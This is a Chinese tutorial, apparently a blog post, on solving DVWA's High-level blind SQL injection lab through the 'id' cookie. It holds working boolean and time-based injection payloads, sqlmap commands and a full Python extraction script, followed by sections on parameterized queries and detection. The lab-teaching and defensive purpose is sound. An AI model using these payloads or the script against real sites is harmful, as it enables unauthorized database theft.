☰
DVWA SQL盲注High级实战:Cookie注入、布尔/时间盲注与sqlmap自动化
2026/11/2 7:26:16 网站建设 项目流程

1. High级别到底难在哪:先把源码看明白再动手

DVWA 的 SQL Injection (Blind) 打到 High 这一档,很多人第一反应是"页面怎么什么都没了"。Low 级别好歹有个输入框、提交后告诉你用户存不存在;Medium 级别换成了下拉框;到了 High,你在输入框里敲点东西提交,页面刷一下,结果就没了——不是没执行,而是入口从 URL 参数搬到了 Cookie 里。这一步"搬家"直接干掉了大部分人的手工直觉,也是 SQL 盲注 High 级别真正的门槛所在:注入点还在,只是你摸不到它了。

我先把结论摆在前面,方便你对照自己的进度:High 级别的注入点位于id这个 Cookie 上,后端用$_COOKIE['id']取值后直接拼进 SQL 语句,没有任何过滤,也不回显数据,只告诉你"存在"或"不存在"。这意味着布尔盲注和时间盲注依然通吃,只是你所有 payload 都得塞进 Cookie 头发出去。下面我按源码、传参、判据三块把这件事讲透,再往下才是手工注入、自动化脚本和排错。

提醒:本文所有操作都基于自己本地部署的练习靶场,只做学习用途。任何未授权的目标都不要碰,这是底线,不是客套话。

1.1 三个级别在传参方式上的差异对照

先说清楚三个级别到底差在哪,这样你就不会拿着 Low 的经验去套 High。很多人卡住不是因为不懂盲注,而是因为一直在 URL 里改参数,改了半天发现页面根本没反应,其实后端压根没读 GET。

级别参数位置提交方式结果反馈过滤情况
LowURL?id=GET页面明文显示 exists / MISSING无过滤
Medium下拉框,POST 到idPOST页面明文显示 exists / MISSINGmysqli_real_escape_string+ 数字型转换
HighCookieid前端 JS 写 Cookie 后刷新页面明文 + 404 状态码无过滤,但参数位置变了

注意 Medium 那一栏,它用的是数字型处理,你写1'会被转义成1\',所以 Medium 级别的思路是数字型盲注,不需要闭合引号。而 High 级别虽然参数藏起来了,闭合方式反而回到了字符型,'该加还得加。这个反差我第一次打的时候也绕了一圈:级别越高,过滤不一定越狠,但入口一定越刁。

1.2 从源码看 High 级别的取值逻辑

把 High 级别的后端代码扒出来看,核心就几行:判断$_COOKIE['id']是否存在,存在就拼成SELECT first_name, last_name FROM users WHERE user_id = '$id';,然后mysqli_query执行,用mysqli_num_rows数结果行数。行数大于 0 就输出"User ID exists in the database.",否则发一个 404 头,再输出"User ID is MISSING from the database."。

这段逻辑里有两个关键信息值得单独拎出来。第一,$id外面套着单引号,说明这是字符型注入,闭合符是'。第二,判断依据是"结果集行数是否为 0",而不是"有没有报错",所以你不能靠报错信息来推数据,只能靠"真/假"这一个比特。这就是盲注的本质:数据库不告诉你答案,只告诉你"是"或"不是",然后你自己一个一个问出来。

再看前端。页面上那个输入框提交后,JS 会把输入值写进document.cookie,然后刷新页面。所以你手工测试的时候,最省事的路径不是抓包,而是直接打开浏览器开发者工具的控制台,敲一句document.cookie = "id=1' AND 1=1#",回车,刷新页面,看结果。这个操作比在 Burp 里改包快十倍,尤其是你要反复试几十次的时候。当然批量跑还是得上脚本或 sqlmap。

1.3 盲注的两个核心判据:布尔与时间

盲注说起来就两个判据。布尔判据靠"存在/不存在"两种页面的差异,时间判据靠SLEEP()让响应延迟,再拿实际耗时和基线对比。High 级别因为存在 404 状态码,布尔判据其实非常干净:真的时候 HTTP 200,假的时候 HTTP 404。这个状态码差异比字符串匹配稳得多,因为页面内容里"User ID exists"和"User ID is MISSING"都含有"User ID"字样,你写脚本时如果只匹配前者,很容易被自己坑到。

我的习惯是两条腿走路:手工阶段用布尔判据,因为反馈快、易读;脚本和 sqlmap 阶段优先用状态码,因为抗干扰。时间盲注我一般只在两种情况下用——布尔判据失效(比如页面被缓存,或者真假返回完全一样),或者需要绕过某种基于内容匹配的检测。High 级别的布尔判据是work的,所以时间盲注更多是作为备选方案和知识点补充。

2. 手工布尔盲注:一个字一个字把数据库问出来

手工环节不能省。你直接上 sqlmap 当然能跑出结果,但一旦跑不出来,你不知道是 payload 错了、Cookie 没带上、还是 session 掉了。手工走一遍,你才有排查能力。这一节我按"确认注入点 → 摸库名 → 摸表名 → 摸列名 → 拖数据"的顺序走,每一步都给出可复制的 payload 和判断方法。

2.1 确认注入点与闭合方式

第一步永远是确认注入点存在,同时确认闭合方式。先在控制台设 Cookie:

document.cookie = "id=1"

刷新,页面应该显示 exists。再试:

document.cookie = "id=1' AND '1'='1"

如果还是 exists,说明单引号闭合成功,后面的AND '1'='1被当作 SQL 逻辑处理了。接着换:

document.cookie = "id=1' AND '1'='2"

页面变成 MISSING,且状态码 404。一真一假,注入点确认,闭合方式确认。如果1' AND '1'='2还是 exists,那可能是注释符或引号有问题,可以试1' AND 1=2#或者1' AND 1=2-- -。

这里有个细节要提醒:Cookie 值里不能出现分号,空格和特殊字符也可能被浏览器或中间件处理掉。所以我在手工阶段习惯把空格写成/**/,把#保留(在 Cookie 里通常没问题),如果遇到异常就整体用encodeURIComponent编一下再塞进去。PHP 读$_COOKIE时会自动做一次 URL 解码,所以编码过的 payload 是能正常工作的。

2.2 先问库名长度,再问库名内容

确认注入点之后,不要急着拖数据,先摸当前数据库名。DVWA 的库名是dvwa,但你要假装不知道,用盲注问出来,这样才是完整的练习。

问长度:

id=1' AND LENGTH(DATABASE())=4#

返回 exists,说明库名长度是 4。你可以从 1 开始一个个试,也可以直接猜 4。猜不中的时候,用大于号做二分会更快:

id=1' AND LENGTH(DATABASE())>3#

真,说明长度大于 3;再试>4,假。长度锁定 4。

问内容,逐位取字符:

id=1' AND SUBSTR(DATABASE(),1,1)='d'#

真,第一位是 d。第二位试SUBSTR(DATABASE(),2,1)='v',依此类推,问出dvwa。手工会很烦,四个字符还好,如果是十几个字符的库名,你就知道为什么要写脚本了。这也是我建议手工只走一遍流程的原因——理解原理,剩下的交给自动化。

2.3 摸表名:information_schema 的取数技巧

库名拿到之后,下一步是表名。DVWA 库里默认有guestbook和users两张表,我们要的是users。查表名走information_schema.tables:

id=1' AND SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1)='g'#

LIMIT 0,1取第一张表,SUBSTR(...,1,1)取表名第一个字符。如果返回真,说明第一张表以 g 开头,大概率是guestbook。改成LIMIT 1,1取第二张表,再逐字问,就能拿到users。

这里有个坑:information_schema.tables的返回顺序在不同 MySQL 版本、不同建表顺序下可能不一样,你不能假设第二张就一定是 users。稳妥的做法是先问表的数量:

id=1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())=2#

再逐张表问首字母,锁定目标。如果表很多,还可以用table_name LIKE 'u%'做筛选,减少无效循环:

id=1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name LIKE 'u%')=1#

真,说明有且只有一张以 u 开头的表。这招在表多的库里特别省时间。

2.4 摸列名与拖数据的取巧写法

列名同理,走information_schema.columns:

id=1' AND SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)='u'#

users表默认列是user_id、first_name、last_name、user、password。我们要的是user和password。逐字问比较累,可以先用COUNT(*)确认列数,再用LIKE做粗筛。

拖数据的时候,最直接的写法是把两条字段拼起来:

id=1' AND SUBSTR((SELECT CONCAT(user,0x3a,password) FROM users LIMIT 0,1),1,1)='a'#

0x3a是冒号的十六进制写法,用来在 Cookie 里避开特殊字符。这样问出来就是admin:5f4dcc3b5aa765d61d8327deb882cf99这种格式,LIMIT 0,1控制第几条记录。DVWA 的密码是 MD5,问出来之后拿去查表或者用工具跑,那是另一件事了,这里不展开。

提示:手工阶段问出前两三个字符验证思路就够了,完整的拖库交给脚本。手工会让你对 payload 结构非常熟,但真要靠手敲把一整张表问出来,效率低到没有实战意义。

3. 时间盲注与 Cookie 传参实操

布尔盲注在 High 级别是能用的,那为什么还要讲时间盲注?两个原因。一是有些场景下页面真假返回完全一致,布尔判据失效,时间就成了唯一信号;二是面试和实际评估里,时间盲注是必考项,你得知道SLEEP()怎么用、怎么测基线、怎么避免误判。这一节把这两件事一起讲。

3.1 用 SLEEP 构造一个可测量的信号

时间盲注的核心是把"查询结果为真"映射成"响应变慢"。最简单的写法:

id=1' AND SLEEP(3)#

如果注入点有效,这个请求会稳定延迟 3 秒左右。注意是"左右",不是精确 3 秒,因为网络、PHP 执行、MySQL 调度都有开销。所以你不能用>3这种硬判据,得先测基线。

基线怎么测?发一个不带SLEEP的正常请求,记下耗时,比如 80ms;再发一个带SLEEP(3)的请求,记下耗时,比如 3100ms。两者的差值才是你的信号。我在本地环境测下来,正常请求 50~120ms 波动,SLEEP(3)稳定在 3 秒以上,区分度足够。如果目标环境本身响应就要两三秒,那SLEEP得加到 5 秒甚至更长,否则噪声会把你淹没。

实际取数的时候,把条件塞进IF:

id=1' AND IF(SUBSTR(DATABASE(),1,1)='d',SLEEP(3),0)#

第一位是 d 就睡 3 秒,不是就立刻返回。这样一个请求对应一个比特,逻辑和布尔盲注完全一样,只是判据从"页面内容"换成了"耗时"。

3.2 用 Burp 改 Cookie 的完整流程

浏览器控制台适合快速验证,但要做系统化的测试,还是得靠 Burp。流程不复杂,但有几个地方容易漏。

第一步,浏览器开代理,正常访问 High 级别页面,让 Burp 抓到那个带 Cookie 的请求。请求行大概是GET /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1,Cookie 头里有PHPSESSID、security=high、id=1三个值。

第二步,把请求发到 Repeater,直接改id的值。注意security=high这个 Cookie 不能丢,丢了后端会按 Low 级别处理,你的注入点就跑到 URL 上去了,很容易误判。

第三步,观察响应。真的时候状态行是200 OK,假的时候是404 Not Found。这个差异在 Repeater 里一眼就能看出来,比翻页面内容快。我一般会把id=1' AND 1=1#和id=1' AND 1=2#两个请求并排放在 Repeater 的标签页里,来回切换对比,确认判据稳定之后再往下走。

第四步,把请求保存成文件,后面 sqlmap 的-r参数要用。保存的时候注意,请求里要包含完整的 Cookie 和 User-Agent,Content-Length这类头可以留着,sqlmap 会自己处理。

注意:DVWA 的 session 有时效,隔一段时间不动就会过期,请求会被 302 重定向到登录页。这时候你的脚本会把登录页当成"真"或者"假",结果全错。所以脚本里一定要加一句判断:响应里出现login.php就重新登录或者直接报错退出。这个坑我踩过不止一次。

3.3 时间盲注的适用边界

时间盲注不是万能的,它有三个明显的短板。第一是慢,一个字符要发七八个请求(二分),一张表几十个字符,一个库十几张表,算下来几千个请求,跑一晚上很正常。第二是噪声敏感,目标服务器负载高的时候,正常请求也可能卡两三秒,你的判据就废了。第三是容易被限制,有些环境会限制单连接的执行时间,SLEEP(10)直接超时断开。

所以我的策略是:能用布尔就用布尔,布尔不行再上时间,时间也不行就考虑带外(DNS 或 HTTP 回连),带外还不行就说明这个点在当前条件下打不动,换思路。High 级别属于"布尔完全够用"的情况,时间盲注在这里更多是练习价值。

4. 用 sqlmap 跑 High 级别:参数怎么给才不白跑

手工走通之后,上 sqlmap 是自然选择。但 High 级别有两个地方会让 sqlmap 默认配置失效:一是注入点在 Cookie 而不是 URL,二是默认的--level 1根本不会去测 Cookie 参数。所以很多人跑了一条命令,sqlmap 说"参数不可注入",其实不是不可注入,是它压根没测对地方。

4.1--cookie与-r两种姿势的取舍

最直接的写法是用--cookie指定注入点,用星号标记位置:

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" \ --cookie="id=1*; security=high; PHPSESSID=你的session值" \ --batch --dbs

星号告诉 sqlmap"只测这个位置",其他 Cookie 原样带过去。这样能避免它去测security和PHPSESSID,省时间也少误报。

另一种写法是-r读请求文件:

sqlmap -r high_request.txt -p id --batch --dbs --dbms=mysql

-p id明确指定参数名。这种写法适合请求头很复杂的情况,比如有自定义 token、Referer 校验,直接从 Burp 保存的请求文件里带过来最省事,不容易漏头。

两种写法我都用过,个人偏好-r。原因是 DVWA 的 Cookie 里 session 会变,用-r的时候我只需要重新保存一次请求文件,命令行不用改;用--cookie的话,session 一换就得重新拼一遍长命令,容易手滑。

4.2 level 和 risk 给到多少合适

--level控制测试的广度和深度,1 到 5。High 级别的注入点在 Cookie,--level 2才会开始测 Cookie 头。所以最低给 2,我一般给 3,让它顺手把 User-Agent、Referer 也测一下,虽然这里用不上,但对完整评估有帮助。

--risk控制 payload 的危险程度,1 到 3。3 会包含一些可能改数据的 payload,比如OR型更新。练习环境无所谓,真实评估里我一般只给 2,避免误伤。

如果只想测布尔盲注,加--technique=B;只想测时间盲注,加--technique=T。High 级别因为存在 404,我还会加--code=200,明确告诉 sqlmap"状态码 200 才是真",这样它能少走很多弯路,速度明显快一截:

sqlmap -r high_request.txt -p id --batch --dbs \ --level=3 --risk=2 --technique=B --code=200 --dbms=mysql

4.3 跑不出来的时候先看这几项

sqlmap 报"参数不可注入",八成是下面几个原因。第一,session 过期了,请求被重定向到登录页,所有 payload 返回的都是同一个页面,判据失效。第二,security=high这个 Cookie 丢了,后端按 Low 处理,注入点跑到 URL 上去了。第三,--level给低了,没测 Cookie。第四,请求文件里的Content-Length和实际 body 不一致,导致请求被拒。

排查顺序我一般是这样:先在 Burp 里手动重放一次请求文件,确认能拿到 200 和正确页面;然后把-v 3打开,看 sqlmap 实际发出去的 payload 长什么样,对比你手工的成功 payload,差在哪一眼就能看出来。-v 3输出的信息量很大,但排错的时候非常好用。

还有一种情况是 sqlmap 能检测到注入点,但跑库跑表特别慢,多半是它在用时间盲注。这时候加上--technique=B和--code=200强制走布尔,速度会回到正常水平。

5. 写个 Python 脚本:把布尔盲注自动化

sqlmap 好用,但它是个黑盒。你想改 payload 结构、想加自定义编码、想控制并发,都得自己写。而且写一遍脚本,你对盲注的理解会上一个台阶,因为每个细节都得自己处理:Cookie 怎么带、判据怎么定、二分怎么收敛、异常怎么兜。

5.1 整体逻辑:二分法 + 状态码判据

脚本的核心就三块。第一块是请求函数,把 payload 塞进 Cookie 发出去,返回真或假。第二块是字符提取,对第 N 位字符做二分查找,范围 32 到 126(可见 ASCII),每次用ASCII(SUBSTR(...)) > mid做判断,收敛到具体字符。第三块是循环,从第一位开始逐位提取,遇到空字符或者超过最大长度就停。

判据用状态码最稳:

def check(payload): cookies = dict(BASE_COOKIES) cookies["id"] = payload try: r = session.get(TARGET, cookies=cookies, timeout=10) except requests.RequestException: return False if "login.php" in r.url: raise RuntimeError("session 过期,重新登录") return r.status_code == 200

注意login.php那个判断,非常关键。没有它,session 一过期,所有请求都返回登录页,状态码还是 200,脚本会以为"全部为真",导出满屏乱码,你还以为是 payload 写错了。

5.2 完整代码与执行说明

import requests from urllib.parse import quote TARGET = "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" BASE_COOKIES = { "PHPSESSID": "替换成你的session", "security": "high", } session = requests.Session() session.headers.update({"User-Agent": "Mozilla/5.0"}) def check(sql): payload = "1' AND ({})#".format(sql) cookies = dict(BASE_COOKIES) cookies["id"] = quote(payload, safe="") r = session.get(TARGET, cookies=cookies, timeout=10) if "login.php" in r.url: raise RuntimeError("session 过期") return r.status_code == 200 def extract_one(sql, pos): lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 if check("ASCII(SUBSTR(({}),{},1))>{}".format(sql, pos, mid)): lo = mid + 1 else: hi = mid return chr(lo) if lo <= 126 else "" def extract(sql, max_len=64): result = "" for pos in range(1, max_len + 1): if not check("LENGTH(({}))>={}".format(sql, pos)): break ch = extract_one(sql, pos) if not ch or ord(ch) < 32: break result += ch print("\r[+] {}".format(result), end="", flush=True) print() return result if __name__ == "__main__": print(extract("SELECT DATABASE()"))

几个地方解释一下。quote(payload, safe="")把整个 payload 做 URL 编码,避免空格、单引号、括号在 Cookie 传输中被截断或改写,PHP 端的$_COOKIE会自动解码回来,所以不影响语义。二分逻辑是"找最小的使ASCII(cur) <= mid的值",lo最终落在目标字符上。LENGTH(...) >= pos那个判断用来确定还有没有下一位,没有就跳出,省掉一轮无效请求。

执行的时候,先手工确认 session 有效,再跑脚本。跑库名应该几秒出结果,跑表名和列名要几十秒,跑完整数据看字段长度。脚本里没有加并发,因为 DVWA 是本地环境,加了并发反而容易触发 session 锁或者请求排队,得不偿失。

5.3 提速的几个实际做法

第一,把SLEEP换成布尔判据,这是最大的提速点,时间盲注一个字符七八个请求、每个等三秒,布尔一个字符七八个请求、每个几十毫秒,差两个数量级。

第二,用LIMIT和LIKE做粗筛,先用COUNT(*)把范围缩小到具体几张表几个列,再逐字问,能少问很多无效字符。

第三,控制最大长度。max_len给 64 对于库名、表名、用户名够用,但密码哈希是 32 位,字段值可能更长,按需调整。给太大只是多几轮"确认没下一位"的请求,不会出错,但会慢。

第四,如果目标环境允许,把substr换成mid或者left,把ascii换成ord,在某些环境里能绕过简单的关键字匹配。这属于绕过思路,High 级别用不上,但值得知道。

6. 常见问题速查与排查思路

打到这一步,大部分问题都能靠对照表定位。我把实际遇到过的整理成下面这张表,按现象查原因,比从头读文档快。

现象可能原因排查动作
改 Cookie 后页面没变化浏览器有同名旧 Cookie 覆盖控制台执行document.cookie检查,或清空后用 Burp 重放
注入 payload 返回 302session 过期,被重定向登录页重新登录,脚本里加login.php判断
1' AND 1=1#仍显示 MISSING闭合符不对,或被转义试-- -注释、试双引号、确认security=high没丢
Cookie 值被截断值里含空格或分号整体 URL 编码后再发送
sqlmap 报告不可注入--level太低,没测 Cookie提到 3,或显式-p id
sqlmap 跑得极慢走了时间盲注加--technique=B --code=200
脚本输出乱码判据反了,或 session 过期先用1' AND 1=1#和1' AND 1=2#验证判据
二分法死循环边界设置错误确认lo=32, hi=126,确认比较符方向
时间盲注时快时慢服务器负载波动提高SLEEP时长,多测几次取中位数
表名问出来是 guestbookLIMIT顺序问题用table_name LIKE 'u%'做筛选

除了表里这些,还有两个经验性的坑值得单独说。一是#在 Cookie 里的表现。大部分情况下它能正常注释,但某些中间件或框架会对 Cookie 值做额外处理,导致#后面的内容被吞掉。如果遇到"payload 明明对但结果不对",试着把#换成-- -,或者干脆去掉注释、把后面的引号补齐。二是状态码判断的适用性。High 级别假的时候返回 404,这个判据很干净,但如果你把脚本挪到别的靶场或者别的关卡,判据就得换成字符串匹配,不能硬搬。

7. 换个位置看:这段代码该怎么写才安全

打完一轮,最有价值的其实不是 payload,而是回头看一眼这段代码错在哪。High 级别的写法是典型的"参数拼接 + 无过滤",$_COOKIE['id']直接进 SQL。任何从客户端来的数据,不管它在 URL、Body 还是 Cookie 里,都是不可信的,Cookie 尤其容易被忽视,因为很多人潜意识里觉得"Cookie 是浏览器自己管的,用户改不了"——恰恰相反,Cookie 是用户完全可控的。

7.1 参数化查询是唯一正解

正确的写法是用预处理语句加绑定参数,把id当数据传,而不是当 SQL 片段拼:

$stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?"); $stmt->execute([$id]); $rows = $stmt->fetchAll();

这样即使你传1' OR '1'='1,数据库也只会把它当成一个字符串去匹配,不会执行成逻辑。escape 函数不是不能用,但它依赖字符集、依赖开发者记得每个点都调用,漏一个就是洞。参数化查询是从机制上杜绝,不依赖人的记性,这是两者的本质区别。

7.2 类型校验、权限收敛与错误信息

除了参数化,还有三层能加。第一层是类型校验,user_id本来就是数字,那就is_numeric或者filter_var过滤一遍,不合格直接拒绝,连数据库都不用查。这一层能挡掉绝大多数注入尝试,成本极低。

第二层是数据库权限收敛。Web 应用连数据库的账户,只给SELECT权限,不给DROP、UPDATE、FILE。这样即使被注入,攻击者能做的事也有限,至少拖不走整个库、写不了文件。

第三层是错误信息。High 级别没有回显报错,这其实是它的"优点",但很多真实系统会把 SQL 报错直接打到页面上,等于把表名、列名、数据库版本全送出去。生产环境必须关掉详细错误,统一返回通用提示,日志留在服务端。

7.3 从检测视角看盲注的特征

如果你在防守侧,盲注有几个可观测的特征。一是同一 IP 短时间内对同一接口的高频请求,尤其是参数长度异常、含有大量函数名(substr、ascii、sleep、length)的请求。二是响应状态码的规律性波动,200 和 404 交替出现。三是响应时间的规律性延迟,每隔几个请求出现一次固定时长的延迟,这是时间盲注的典型指纹。

这些特征单独看都不足以定性,但组合起来就很明显。实际做监控的时候,我会把"同一 session 对同一接口的请求频率"和"响应状态码分布"两个指标放在一起看,比单纯看 payload 关键字靠谱,因为关键字可以被编码、被拆分、被替换,但行为模式很难藏。

最后说一句我自己的体会。DVWA 这四个级别打下来,Low 和 Medium 是让你熟悉注入语法,High 是让你理解"注入点不只在 URL 里",Impossible 是让你明白防御该怎么做。真正拉开差距的不是记住多少 payload,而是你能不能在没有回显、没有报错、参数还藏起来的情况下,靠一个比特一个比特地把信息抠出来。这个过程很慢,但每一步都是确定的,这就是盲注最有意思的地方——它不靠运气,只靠逻辑。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询